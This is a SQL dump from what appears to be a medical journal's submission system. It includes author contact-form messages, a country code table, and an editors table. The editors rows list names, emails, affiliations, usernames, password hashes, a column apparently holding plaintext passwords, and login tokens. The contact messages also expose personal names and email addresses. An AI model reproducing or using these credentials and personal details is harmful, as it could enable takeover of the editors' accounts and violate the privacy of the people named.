you,\r\n\r\n\r\nI am a guest post outreacher, I have many clients who wishes to share their posts on your websites, \r\nwould you please allow to share guest post on a fair charges, I hope we can work together in the future in same respect, \r\n\r\n\r\nHoping to hear from you soon,\r\n\r\n\r\n\r\nBest wishes for you.','2022-09-15'),(696,'Muhammad Saad Alam','saaadalam@gmail.com',45,'Paid Guest Post','Good Day to you,\r\n\r\n\r\nI am a guest post outreacher, I have many clients who wishes to share their posts on your websites, \r\nwould you please allow to share guest post on a fair charges, I hope we can work together in the future in same respect, \r\n\r\n\r\nHoping to hear from you soon,\r\n\r\n\r\n\r\nBest wishes for you.','2022-09-15'),(697,'Majidreza farrokhi','farokhim1401@gmail.com',73,'Withdraw','Dear editor\r\nOn August 28th, I sent a message which I want to withdraw my article \"Iatrogenic segmental artery aneurysmal hemorrhage: diagnosis, management, and prognosis: Case report and review of the literature\" by contact us of journal\r\nand now it published, without revise\r\nplease deleted it from you site\r\nI want withdrwa it\r\nBest regards \r\nMajidreza Farrokhi','2022-10-08'),(698,'amina','aminanagy85@yahoo.com',86,'planning to do submission ','I am asking gif my speciality ob gyne I need journal in my speciality to submit my paper is it available or not?\r\nhow much would be the cost?','2022-10-20'),(699,'SAIFUDHEEN KONDANATH','drsaifu@yahoo.co.in',86,'Regarding Submission','sir\r\nI am submitted  image article in Archives of medicine but there is no reply . kindly send the login details for tracking','2022-10-26'),(700,'Mahetab Patel','patelmehtab2@gmail.com',91,'Want to resubmit my manuscript','I want to resubmit my manuscript because by mistake I submitted half part of my manuscript.\r\nPlease tell me how can I resubmit my manuscript ?\r\nThank you\r\n','2022-10-26'),(701,'SAIFUDHEEN KONDANATH','drsaifu@yahoo.co.in',86,'Regarding Submission','sir\r\nI am submitted  image article in Archives of medicine but there is no reply . kindly send the login details for tracking','2022-10-27'),(702,'Vaishnavi','sudexiyer@gmail.com',86,'Case Report','Hello,\r\nI would like to know whether submission and acceptance of case report has any fee?','2022-10-30'),(703,'Mahetab Patel','patelmehtab2@gmail.com',91,'In how many days my article will publish ?','Hello,\r\n\r\n I want to know that in how many days you will publish my article? \r\nand also want to know that\r\nAre you give me any certificate for publishing my article in your journal ?\r\n\r\nPlease reply me as soon as possible.\r\nThank you','2022-11-06'),(704,'Katja Berginc','katja.berginc@sandoz.com',91,'Sending password not working','Dear Sir or Madam,\r\n\r\nI have been trying to obtain new password to log in to your online submission tool. I have registered before, but I forgot the password. If I try using the \"send password\" to my email, the tool seems not to work. I have been trying now for two days. Can you please help.\r\n\r\nYours sincerely,\r\n\r\nKatja Berginc','2022-11-10'),(705,'Fé','fefh@infomed.sld.cu',45,'Full waiver for an article','Dear editor:\r\nThanks for the opportunity to contact you by this way. I would like send a manuscript to publish in your journal but really I can´t afford any payment as APC or similar. Would I receive full waiver, please?\r\nBest regard,\r\nFé Fernández','2022-11-22'),(706,'Prof. Satyendra Nath Chakrabartty','chakrabarttysatyendra3139@gmail.com',45,'Difficulty in Password recovery','Dear Editor, \r\nSome of papers were published in your journal, the last one being \"Measures of Efficacious COVID-19 Vaccine\" which was published in Health Science journal, July 2021. Vol. 15, No. 7:855 1 – 5 where my Mail ID is given as chakrabarttysatyendra3139@gmail.com\r\nI wanted to submit my next paper, but failed. My request to send log in details did not result anythong. \r\nPlease help me and enable me to complete my submission. \r\nRegards.\r\nProf. Satyendra Nath Chakrabartty','2022-12-05'),(707,'Prof. Satyendra Nath Chakrabartty','chakrabarttysatyendra3139@gmail.com',45,'Difficulty in Password recovery','Dear Editor, \r\nSome of papers were published in your journal, the last one being \"Measures of Efficacious COVID-19 Vaccine\" which was published in Health Science journal, July 2021. Vol. 15, No. 7:855 1 – 5 where my Mail ID is given as chakrabarttysatyendra3139@gmail.com\r\nI wanted to submit my next paper, but failed. My request to send log in details did not result anythong. \r\nPlease help me and enable me to complete my submission. \r\nRegards.\r\nProf. Satyendra Nath Chakrabartty','2022-12-05'),(708,'Tanya Yakushi','porrastanya@hotmail.com',667,'Trouble receiving a log in and password','Hello: \r\nI am have trouble creating a username and password. I used the page that refers to retrieving a user name and password, but the site seems to be frozen. Can you please send me an email with my user name and password so that I can track my submission. Thank you.','2022-12-05'),(709,'Tanya Yakushi','porrastanya@hotmail.com',667,'Password','Hello: I recently submitted a manuscript and would like to create a password to follow the publication status. I tried using the password retrieval link but it did not work. Can you please send me a link to create or retrieve my password.\r\nThank you ','2022-12-06'),(710,'eliza','clinicalmicrobiology@globalconfernces.net',251,'clinicalmicrobiology@globalconferences.net','We are cordially inviting you as a speaker/delegate for our conference “12th International Conference on Applied Microbiology, Clinical Microbiology and Infectious Diseases” during March 10-11, 2023 at Brussels, Belgium. In order to make conference successful, participation from great association like yours is very much required. The conference will focus on “Exploring Innovative Techniques in Clinical Microbiology towards Infectious Diseases\".\r\nWe have designed an engaged scientific program with Keynote talks, Poster Presentations, Workshops along with networking with highly affiliated researchers and CEOs from various Clinical Microbiology and Infectious diseases.\r\nPlease visit our website athttps://surgerymeeting.blogspot.com/\r\nIf you need any further information, please do not hesitate to contact us. \r\n	\r\nWith Regards,\r\nOlivia Thomas\r\nProgram Director | Clinical Microbiology 2023\r\nEmail: clinicalmicrobiology@globalconfernces.com \r\n','2022-12-21'),(711,'Micha Milovanovic','micha.milovanovic@liu.se',975,'Publication fee','How much is the Publication charge if I choose to send in a manuscript?\r\n\r\nBest Regards\r\nDr. Micha Milovanovic','2023-01-12'),(712,'Yanaysis Stable','ystable1994@gmail.com',277,'Request of information','Hello!\r\nI´m Yanaysis Stable Garcia.\r\nJust fill out the form to submit my review article. However, so far I have not been able to enter the user profile, because I have not received my e-mail the username and password to access the site. Could you give me some information','2023-01-17'),(713,'Dr Rajandeep  Kaur','rajandeep_kaur07@yahoo.com',959,'','What is the indexing of this journal ?','2023-03-03'),(714,'Qossim Mudathir','Mudathirqossim@yahoo.com',971,'Hello','I want to know that cost of publishing in your journal.\r\n\r\nThanks','2023-03-14'),(715,'Dr Mukta Verma','drmukta23@gmail.com',326,'Manuscript submission','good morning, I am not able to submit my manuscript. Please help\r\n','2023-04-06'),(716,'Dr Mukta Verma','drmukta23@gmail.com',326,'Manuscript submission','good morning, I am not able to submit my manuscript. Please help\r\n','2023-04-06'),(717,'Anya Uzo Anya','anya_214@yahoo.com',91,'manuscript number    ijddr-21-9603','my manuscript  ijddr-21-9603 is not found on the database of international journal of drug development and research (IJDDR). Also from the original manuscript the are two authors with different affiliation. \r\nMay i know why my article is not in database of IJDDR and please effect the correction on the authorship.\r\nThanks\r\nAnya ','2023-04-07'),(718,'Hassan KADRI','drkadri@yahoo.com',73,'status ','would you please update me for the submission ipjnn-23-13765\r\nyours','2023-05-22'),(719,'Hassan KADRI','drkadri@yahoo.com',73,'','up date to my paper','2023-05-30'),(720,'Muntasir','munbasrypps@yahoo.com',85,'APC','How much APC for fee publication in this journal. Thank you','2023-06-08'),(721,'Salele Hauwau Abubakar','shabubakar@fudutsinma.edu.ng',639,'enquiry','Hello Sir/Ma\r\nI am interested in submitting my manuscript for publication but i will like to know the charges.\r\nThank you','2023-06-25'),(722,'Yurui Gao','yurui.gao@vanderbilt.edu',73,'Acceptance of my commentary paper ','Dear Editor Team,\r\n\r\nWe received payment requested by Pulsus Healthtech about our commentary paper \"Understanding Age-Related Changes in White Matter- Gray Matter Functional Connectome in Normal Aging\" (IPJNN-23-14112) via email. Could you please confirm the acceptance and payment request are actually from your journal -\"Journal of Neurology and Neuroscience\". We were invited for the submission by William Parker via the email \"Journal of Neurology and Neuroscience <Nnpspissue@medicineinsights.com>\" and the entire process is super fast, which is kind of confused to us. \r\n\r\nBest,\r\nYurui   ','2023-11-17'),(723,'Daniel Simonet','dsimonet@aus.edu',85,'French Administrative Reforms, Democratic Recess, and Social Demotion','Good morning,\r\n\r\nI have a question.\r\n\r\nDid you publish this article \"French Administrative Reforms, Democratic Recess, and Social Demotion\" with my consent ?\r\n\r\nI have not received any proof, reviews \r\n\r\nThanks','2024-02-05'),(724,'Aruna','arunamsnhod@gmail.com',45,'Withdraw of the manuscript','I am planning to withdraw my research paper. Do Not proceeding with further processing\r\n Knowledge regarding eye floaters among Health professional students has been received by Health Science Journal\r\nThanks','2024-03-07'),(725,'Dr Badriya','drbadriya.bsc.ihs@gmail.com',45,'to publish paper ','i want to know please what is the fees to publish paper in this journal','2024-03-11'),(726,'Komathi Perialathan','komathi.p@moh.gov.my',45,'Submission of Article','Greetings, I am Komathi from Malaysia, i woukld like to submit article in regards to salt literacy instrument adaptation, I had attempted to submit twice nut I keep receive username exist but I have never logged in this journal website before. I would like to know as well whether there will be publication fees charged..thank you','2024-04-02');
/*!40000 ALTER TABLE `contact_us` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `country`
--

DROP TABLE IF EXISTS `country`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `country` (
  `country_id` int NOT NULL AUTO_INCREMENT,
  `iso` char(2) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `name` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `printable_name` varchar(80) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `iso3` char(3) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `numcode` smallint DEFAULT NULL,
  PRIMARY KEY (`country_id`)
) ENGINE=InnoDB AUTO_INCREMENT=242 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `country`
--

LOCK TABLES `country` WRITE;
/*!40000 ALTER TABLE `country` DISABLE KEYS */;
INSERT INTO `country` VALUES (1,'AF','AFGHANISTAN','Afghanistan','AFG',4),(2,'AL','ALBANIA','Albania','ALB',8),(3,'DZ','ALGERIA','Algeria','DZA',12),(4,'AS','AMERICAN SAMOA','American Samoa','ASM',16),(5,'AD','ANDORRA','Andorra','AND',20),(6,'AO','ANGOLA','Angola','AGO',24),(7,'AI','ANGUILLA','Anguilla','AIA',660),(8,'AQ','ANTARCTICA','Antarctica',NULL,NULL),(9,'AG','ANTIGUA AND BARBUDA','Antigua and Barbuda','ATG',28),(10,'AR','ARGENTINA','Argentina','ARG',32),(11,'AM','ARMENIA','Armenia','ARM',51),(12,'AW','ARUBA','Aruba','ABW',533),(13,'AU','AUSTRALIA','Australia','AUS',36),(14,'AT','AUSTRIA','Austria','AUT',40),(15,'AZ','AZERBAIJAN','Azerbaijan','AZE',31),(16,'BS','BAHAMAS','Bahamas','BHS',44),(17,'BH','BAHRAIN','Bahrain','BHR',48),(18,'BD','BANGLADESH','Bangladesh','BGD',50),(19,'BB','BARBADOS','Barbados','BRB',52),(20,'BY','BELARUS','Belarus','BLR',112),(21,'BE','BELGIUM','Belgium','BEL',56),(22,'BZ','BELIZE','Belize','BLZ',84),(23,'BJ','BENIN','Benin','BEN',204),(24,'BM','BERMUDA','Bermuda','BMU',60),(25,'BT','BHUTAN','Bhutan','BTN',64),(26,'BO','BOLIVIA','Bolivia','BOL',68),(27,'BA','BOSNIA AND HERZEGOVINA','Bosnia and Herzegovina','BIH',70),(28,'BW','BOTSWANA','Botswana','BWA',72),(29,'BV','BOUVET ISLAND','Bouvet Island',NULL,NULL),(30,'BR','BRAZIL','Brazil','BRA',76),(31,'IO','BRITISH INDIAN OCEAN TERRITORY','British Indian Ocean Territory',NULL,NULL),(32,'BN','BRUNEI DARUSSALAM','Brunei Darussalam','BRN',96),(33,'BG','BULGARIA','Bulgaria','BGR',100),(34,'BF','BURKINA FASO','Burkina Faso','BFA',854),(35,'BI','BURUNDI','Burundi','BDI',108),(36,'KH','CAMBODIA','Cambodia','KHM',116),(37,'CM','CAMEROON','Cameroon','CMR',120),(38,'CA','CANADA','Canada','CAN',124),(39,'CV','CAPE VERDE','Cape Verde','CPV',132),(40,'KY','CAYMAN ISLANDS','Cayman Islands','CYM',136),(41,'CF','CENTRAL AFRICAN REPUBLIC','Central African Republic','CAF',140),(42,'TD','CHAD','Chad','TCD',148),(43,'CL','CHILE','Chile','CHL',152),(44,'CN','CHINA','China','CHN',156),(45,'CX','CHRISTMAS ISLAND','Christmas Island',NULL,NULL),(46,'CC','COCOS (KEELING) ISLANDS','Cocos (Keeling) Islands',NULL,NULL),(47,'CO','COLOMBIA','Colombia','COL',170),(48,'KM','COMOROS','Comoros','COM',174),(49,'CG','CONGO','Congo','COG',178),(50,'CD','CONGO, THE DEMOCRATIC REPUBLIC OF THE','Congo, the Democratic Republic of the','COD',180),(51,'CK','COOK ISLANDS','Cook Islands','COK',184),(52,'CR','COSTA RICA','Costa Rica','CRI',188),(53,'CI','COTE D\'IVOIRE','Cote D\'Ivoire','CIV',384),(54,'HR','CROATIA','Croatia','HRV',191),(55,'CU','CUBA','Cuba','CUB',192),(56,'CY','CYPRUS','Cyprus','CYP',196),(57,'CZ','CZECH REPUBLIC','Czech Republic','CZE',203),(58,'DK','DENMARK','Denmark','DNK',208),(59,'DJ','DJIBOUTI','Djibouti','DJI',262),(60,'DM','DOMINICA','Dominica','DMA',212),(61,'DO','DOMINICAN REPUBLIC','Dominican Republic','DOM',214),(62,'EC','ECUADOR','Ecuador','ECU',218),(63,'EG','EGYPT','Egypt','EGY',818),(64,'SV','EL SALVADOR','El Salvador','SLV',222),(65,'GQ','EQUATORIAL GUINEA','Equatorial Guinea','GNQ',226),(66,'ER','ERITREA','Eritrea','ERI',232),(67,'EE','ESTONIA','Estonia','EST',233),(68,'ET','ETHIOPIA','Ethiopia','ETH',231),(69,'FK','FALKLAND ISLANDS (MALVINAS)','Falkland Islands (Malvinas)','FLK',238),(70,'FO','FAROE ISLANDS','Faroe Islands','FRO',234),(71,'FJ','FIJI','Fiji','FJI',242),(72,'FI','FINLAND','Finland','FIN',246),(73,'FR','FRANCE','France','FRA',250),(74,'GF','FRENCH GUIANA','French Guiana','GUF',254),(75,'PF','FRENCH POLYNESIA','French Polynesia','PYF',258),(76,'TF','FRENCH SOUTHERN TERRITORIES','French Southern Territories',NULL,NULL),(77,'GA','GABON','Gabon','GAB',266),(78,'GM','GAMBIA','Gambia','GMB',270),(79,'GE','GEORGIA','Georgia','GEO',268),(80,'DE','GERMANY','Germany','DEU',276),(81,'GH','GHANA','Ghana','GHA',288),(82,'GI','GIBRALTAR','Gibraltar','GIB',292),(83,'GR','GREECE','Greece','GRC',300),(84,'GL','GREENLAND','Greenland','GRL',304),(85,'GD','GRENADA','Grenada','GRD',308),(86,'GP','GUADELOUPE','Guadeloupe','GLP',312),(87,'GU','GUAM','Guam','GUM',316),(88,'GT','GUATEMALA','Guatemala','GTM',320),(89,'GN','GUINEA','Guinea','GIN',324),(90,'GW','GUINEA-BISSAU','Guinea-Bissau','GNB',624),(91,'GY','GUYANA','Guyana','GUY',328),(92,'HT','HAITI','Haiti','HTI',332),(93,'HM','HEARD ISLAND AND MCDONALD ISLANDS','Heard Island and Mcdonald Islands',NULL,NULL),(94,'VA','HOLY SEE (VATICAN CITY STATE)','Holy See (Vatican City State)','VAT',336),(95,'HN','HONDURAS','Honduras','HND',340),(96,'HK','HONG KONG','Hong Kong','HKG',344),(97,'HU','HUNGARY','Hungary','HUN',348),(98,'IS','ICELAND','Iceland','ISL',352),(99,'IN','INDIA','India','IND',356),(100,'ID','INDONESIA','Indonesia','IDN',360),(101,'IR','IRAN, ISLAMIC REPUBLIC OF','Iran, Islamic Republic of','IRN',364),(102,'IQ','IRAQ','Iraq','IRQ',368),(103,'IE','IRELAND','Ireland','IRL',372),(104,'IL','ISRAEL','Israel','ISR',376),(105,'IT','ITALY','Italy','ITA',380),(106,'JM','JAMAICA','Jamaica','JAM',388),(107,'JP','JAPAN','Japan','JPN',392),(108,'JO','JORDAN','Jordan','JOR',400),(109,'KZ','KAZAKHSTAN','Kazakhstan','KAZ',398),(110,'KE','KENYA','Kenya','KEN',404),(111,'KI','KIRIBATI','Kiribati','KIR',296),(112,'KP','KOREA, DEMOCRATIC PEOPLE\'S REPUBLIC OF','Korea, Democratic People\'s Republic of','PRK',408),(113,'KR','KOREA, REPUBLIC OF','Korea, Republic of','KOR',410),(114,'KW','KUWAIT','Kuwait','KWT',414),(115,'KG','KYRGYZSTAN','Kyrgyzstan','KGZ',417),(116,'LA','LAO PEOPLE\'S DEMOCRATIC REPUBLIC','Lao People\'s Democratic Republic','LAO',418),(117,'LV','LATVIA','Latvia','LVA',428),(118,'LB','LEBANON','Lebanon','LBN',422),(119,'LS','LESOTHO','Lesotho','LSO',426),(120,'LR','LIBERIA','Liberia','LBR',430),(121,'LY','LIBYAN ARAB JAMAHIRIYA','Libyan Arab Jamahiriya','LBY',434),(122,'LI','LIECHTENSTEIN','Liechtenstein','LIE',438),(123,'LT','LITHUANIA','Lithuania','LTU',440),(124,'LU','LUXEMBOURG','Luxembourg','LUX',442),(125,'MO','MACAO','Macao','MAC',446),(126,'MK','MACEDONIA, THE FORMER YUGOSLAV REPUBLIC OF','Macedonia, the Former Yugoslav Republic of','MKD',807),(127,'MG','MADAGASCAR','Madagascar','MDG',450),(128,'MW','MALAWI','Malawi','MWI',454),(129,'MY','MALAYSIA','Malaysia','MYS',458),(130,'MV','MALDIVES','Maldives','MDV',462),(131,'ML','MALI','Mali','MLI',466),(132,'MT','MALTA','Malta','MLT',470),(133,'MH','MARSHALL ISLANDS','Marshall Islands','MHL',584),(134,'MQ','MARTINIQUE','Martinique','MTQ',474),(135,'MR','MAURITANIA','Mauritania','MRT',478),(136,'MU','MAURITIUS','Mauritius','MUS',480),(137,'YT','MAYOTTE','Mayotte',NULL,NULL),(138,'MX','MEXICO','Mexico','MEX',484),(139,'FM','MICRONESIA, FEDERATED STATES OF','Micronesia, Federated States of','FSM',583),(140,'MD','MOLDOVA, REPUBLIC OF','Moldova, Republic of','MDA',498),(141,'MC','MONACO','Monaco','MCO',492),(142,'MN','MONGOLIA','Mongolia','MNG',496),(143,'MS','MONTSERRAT','Montserrat','MSR',500),(144,'MA','MOROCCO','Morocco','MAR',504),(145,'MZ','MOZAMBIQUE','Mozambique','MOZ',508),(146,'MM','MYANMAR','Myanmar','MMR',104),(147,'NA','NAMIBIA','Namibia','NAM',516),(148,'NR','NAURU','Nauru','NRU',520),(149,'NP','NEPAL','Nepal','NPL',524),(150,'NL','NETHERLANDS','Netherlands','NLD',528),(151,'AN','NETHERLANDS ANTILLES','Netherlands Antilles','ANT',530),(152,'NC','NEW CALEDONIA','New Caledonia','NCL',540),(153,'NZ','NEW ZEALAND','New Zealand','NZL',554),(154,'NI','NICARAGUA','Nicaragua','NIC',558),(155,'NE','NIGER','Niger','NER',562),(156,'NG','NIGERIA','Nigeria','NGA',566),(157,'NU','NIUE','Niue','NIU',570),(158,'NF','NORFOLK ISLAND','Norfolk Island','NFK',574),(159,'MP','NORTHERN MARIANA ISLANDS','Northern Mariana Islands','MNP',580),(160,'NO','NORWAY','Norway','NOR',578),(161,'OM','OMAN','Oman','OMN',512),(162,'PK','PAKISTAN','Pakistan','PAK',586),(163,'PW','PALAU','Palau','PLW',585),(164,'PS','PALESTINIAN TERRITORY, OCCUPIED','Palestinian Territory, Occupied',NULL,NULL),(165,'PA','PANAMA','Panama','PAN',591),(166,'PG','PAPUA NEW GUINEA','Papua New Guinea','PNG',598),(167,'PY','PARAGUAY','Paraguay','PRY',600),(168,'PE','PERU','Peru','PER',604),(169,'PH','PHILIPPINES','Philippines','PHL',608),(170,'PN','PITCAIRN','Pitcairn','PCN',612),(171,'PL','POLAND','Poland','POL',616),(172,'PT','PORTUGAL','Portugal','PRT',620),(173,'PR','PUERTO RICO','Puerto Rico','PRI',630),(174,'QA','QATAR','Qatar','QAT',634),(175,'RE','REUNION','Reunion','REU',638),(176,'RO','ROMANIA','Romania','ROM',642),(177,'RU','RUSSIAN FEDERATION','Russian Federation','RUS',643),(178,'RW','RWANDA','Rwanda','RWA',646),(179,'SH','SAINT HELENA','Saint Helena','SHN',654),(180,'KN','SAINT KITTS AND NEVIS','Saint Kitts and Nevis','KNA',659),(181,'LC','SAINT LUCIA','Saint Lucia','LCA',662),(182,'PM','SAINT PIERRE AND MIQUELON','Saint Pierre and Miquelon','SPM',666),(183,'VC','SAINT VINCENT AND THE GRENADINES','Saint Vincent and the Grenadines','VCT',670),(184,'WS','SAMOA','Samoa','WSM',882),(185,'SM','SAN MARINO','San Marino','SMR',674),(186,'ST','SAO TOME AND PRINCIPE','Sao Tome and Principe','STP',678),(187,'SA','SAUDI ARABIA','Saudi Arabia','SAU',682),(188,'SN','SENEGAL','Senegal','SEN',686),(189,'CS','SERBIA AND MONTENEGRO','Serbia and Montenegro',NULL,NULL),(190,'SC','SEYCHELLES','Seychelles','SYC',690),(191,'SL','SIERRA LEONE','Sierra Leone','SLE',694),(192,'SG','SINGAPORE','Singapore','SGP',702),(193,'SK','SLOVAKIA','Slovakia','SVK',703),(194,'SI','SLOVENIA','Slovenia','SVN',705),(195,'SB','SOLOMON ISLANDS','Solomon Islands','SLB',90),(196,'SO','SOMALIA','Somalia','SOM',706),(197,'ZA','SOUTH AFRICA','South Africa','ZAF',710),(198,'GS','SOUTH GEORGIA AND THE SOUTH SANDWICH ISLANDS','South Georgia and the South Sandwich Islands',NULL,NULL),(199,'ES','SPAIN','Spain','ESP',724),(200,'LK','SRI LANKA','Sri Lanka','LKA',144),(201,'SD','SUDAN','Sudan','SDN',736),(202,'SR','SURINAME','Suriname','SUR',740),(203,'SJ','SVALBARD AND JAN MAYEN','Svalbard and Jan Mayen','SJM',744),(204,'SZ','SWAZILAND','Swaziland','SWZ',748),(205,'SE','SWEDEN','Sweden','SWE',752),(206,'CH','SWITZERLAND','Switzerland','CHE',756),(207,'SY','SYRIAN ARAB REPUBLIC','Syrian Arab Republic','SYR',760),(208,'TW','TAIWAN, PROVINCE OF CHINA','Taiwan, Province of China','TWN',158),(209,'TJ','TAJIKISTAN','Tajikistan','TJK',762),(210,'TZ','TANZANIA, UNITED REPUBLIC OF','Tanzania, United Republic of','TZA',834),(211,'TH','THAILAND','Thailand','THA',764),(212,'TL','TIMOR-LESTE','Timor-Leste',NULL,NULL),(213,'TG','TOGO','Togo','TGO',768),(214,'TK','TOKELAU','Tokelau','TKL',772),(215,'TO','TONGA','Tonga','TON',776),(216,'TT','TRINIDAD AND TOBAGO','Trinidad and Tobago','TTO',780),(217,'TN','TUNISIA','Tunisia','TUN',788),(218,'TR','TURKEY','Turkey','TUR',792),(219,'TM','TURKMENISTAN','Turkmenistan','TKM',795),(220,'TC','TURKS AND CAICOS ISLANDS','Turks and Caicos Islands','TCA',796),(221,'TV','TUVALU','Tuvalu','TUV',798),(222,'UG','UGANDA','Uganda','UGA',800),(223,'UA','UKRAINE','Ukraine','UKR',804),(224,'AE','UNITED ARAB EMIRATES','United Arab Emirates','ARE',784),(225,'GB','UNITED KINGDOM','United Kingdom','GBR',826),(226,'US','UNITED STATES','United States','USA',840),(227,'UM','UNITED STATES MINOR OUTLYING ISLANDS','United States Minor Outlying Islands',NULL,NULL),(228,'UY','URUGUAY','Uruguay','URY',858),(229,'UZ','UZBEKISTAN','Uzbekistan','UZB',860),(230,'VU','VANUATU','Vanuatu','VUT',548),(231,'VE','VENEZUELA','Venezuela','VEN',862),(232,'VN','VIET NAM','Viet Nam','VNM',704),(233,'VG','VIRGIN ISLANDS, BRITISH','Virgin Islands, British','VGB',92),(234,'VI','VIRGIN ISLANDS, U.S.','Virgin Islands, U.s.','VIR',850),(235,'WF','WALLIS AND FUTUNA','Wallis and Futuna','WLF',876),(236,'EH','WESTERN SAHARA','Western Sahara','ESH',732),(237,'YE','YEMEN','Yemen','YEM',887),(238,'ZM','ZAMBIA','Zambia','ZMB',894),(239,'ZW','ZIMBABWE','Zimbabwe','ZWE',716),(240,'ME','Montenegro','Montenegro','MNE',499),(241,'XK','KOSOVO','kosovo','XKX',383);
/*!40000 ALTER TABLE `country` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `editors`
--

DROP TABLE IF EXISTS `editors`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `editors` (
  `e_id` int NOT NULL AUTO_INCREMENT,
  `e_fname` varchar(70) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `e_lname` varchar(40) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `e_email` varchar(70) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `e_biography` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `e_country` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL DEFAULT '0',
  `country_id` int DEFAULT NULL,
  `e_address` text CHARACTER SET latin1 COLLATE latin1_general_ci,
  `e_username` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `e_password` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `disp_pwd` varchar(25) CHARACTER SET latin1 COLLATE latin1_general_ci NOT NULL,
  `j_id` int NOT NULL,
  `classification` varchar(100) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `jc_id` int DEFAULT NULL,
  `e_assigned_status` int NOT NULL DEFAULT '0',
  `e_date` date NOT NULL,
  `e_active` int NOT NULL DEFAULT '1',
  `e_photo` varchar(50) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `e_last_login` datetime DEFAULT NULL,
  `login_type` int NOT NULL DEFAULT '2',
  `us_stat` int NOT NULL DEFAULT '1',
  `us_token` varchar(10) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  PRIMARY KEY (`e_id`),
  KEY `FK_editors` (`j_id`),
  KEY `index_j_id` (`j_id`),
  KEY `index_jc_id` (`jc_id`)
) ENGINE=InnoDB AUTO_INCREMENT=1809 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `editors`
--

LOCK TABLES `editors` WRITE;
/*!40000 ALTER TABLE `editors` DISABLE KEYS */;
INSERT INTO `editors` VALUES (160,'Jianqi','Cui','jianqi@gmail.com',' ','',44,'Faculty of Ningxia Medical University (NXMU), Yinchuan, Ningxia, P.R. China ','jianqi','7a7255e30648e4e72abc6a7cd62233a7','6crI6iMT',73,'',334,0,'2019-07-17',1,'','2023-07-17 10:35:54',2,1,'oCTXUq'),(161,'Carlos','Rubinstein','rubidoc@gmail.com',' ','',10,'Professor of psychiatry at the Medical Faculty of the University of Buenos Aires, Argentina','carlos','7ee8324596568b5e16a52187ece37919','NCAf3sEi',73,'',352,0,'2019-07-17',1,'','2023-10-31 10:15:50',2,1,'ErfBaj'),(162,'Faustin Armel','Etindele Sosso','faustin.armel.etindele.sosso@umontreal.ca','   ','',38,'Department of Biological Sciences, University of Montreal, Canada','faustin_armel','0efa5079ee0a5794a3e2f06fcad8697d','HUJvN1Yf',73,'',352,0,'2019-07-17',1,'','2023-09-14 14:04:15',2,1,'GUYeZN'),(188,'Christina','Marvaki','ch.marvaki@gmail.com',' ','',83,'Founder, Professor, Technological Educational Institute of Athens, Greece','christina','b12786fcf3f2d75ada40e6d7e489c316','yODOx8ib',45,'',295,0,'2019-07-18',1,'','2023-07-25 11:03:44',2,1,'t3hsGm'),(189,'Anastasia','Kotanidou','akotanid@med.uoa.gr',' ','',83,'Professor, National and Kapodistrian University of Athens, Greece','anastasia','1e3c3f65667a09eb14e0f7b4ac809786','ylVhW9se',45,'',295,0,'2019-07-18',1,'','2022-06-07 10:24:13',2,1,'GYuQg2'),(190,'Georgios','Vasilopoulos','vasilogeos@yahoo.gr',' ','',83,'Co-Founder, Lecturer, Technological Educational Institute of Athens, Greece','georgios','04ddb1a2da454b129b889b6b4c2102ff','akqXWXv3',45,'',295,0,'2019-07-18',1,'','2024-01-03 14:01:54',2,1,'B952Hl'),(191,'Olga','Kadda','ol.kadda.31@gmail.com',' ','',83,'Onassis Cardiac Surgery Center, Greece','olga','dbec3aa82ec62b9e8ab56cd838bb3183','wFmaMv2a',45,'',295,0,'2019-07-18',1,'','2024-03-25 10:08:01',2,1,'FuM7TO'),(192,'Evridiki','Papastavrou','e.papastavrou@cut.ac.cy',' ','',56,'Assistant Professor, Cyprus University of Technology, Cyprus','evridiki','bceabf4dc11ab09f0e4ae0e1dbb1cb2a','JKlvWBRm',45,'',295,0,'2019-07-18',1,'','2024-05-10 17:12:22',2,1,'HwGadJ'),(193,'Pierpaolo','Di Micco','pdimicco@libero.it',' ','',105,'Division of Internal Medicine, Buonconsiglio Fatebenefratelli Hospital of Naples, Naples, Italy','pierpaolo','09dc941a6d161f9e9f1091c62fd83a53','p2uS9pOG',45,'',295,0,'2019-07-18',1,'','2024-05-29 05:36:56',2,1,'E7yybT'),(194,'Paolo','Scapellato','paoloscapellato@yahoo.it','  ','',105,'Psychologist-Psychotherapist, European University of Rome, Italy','paolo','ae7ab6ae3177d20e003f12c47bc46934','H8VEKPQi',45,'',295,0,'2019-07-18',1,'','2024-05-27 08:27:16',2,1,'DXrsEp'),(195,'Ali Mohamed','Ali Saad','profanesthesia@yahoo.com',' ','',114,'Specialist of Anesthesia and Intensive Care Unit, Ahmadi Hospital, Kuwait','ali_mohamed','bd1a73e45eec64033149e00627a68ba8','pum2kfw8',45,'',295,0,'2019-07-18',1,'','2024-05-28 06:21:22',2,1,'OPUfRR'),(203,'Gordon','A. Ewy','GAEWY1933@gmail.com','Gordon currently working as professor\\r\\nDepartment of cardiology\\r\\nGAEWY1933@gmail.com\\r\\nUnited States','',226,'Department of cardiology\r\nGAEWY1933@gmail.com\r\nUnited 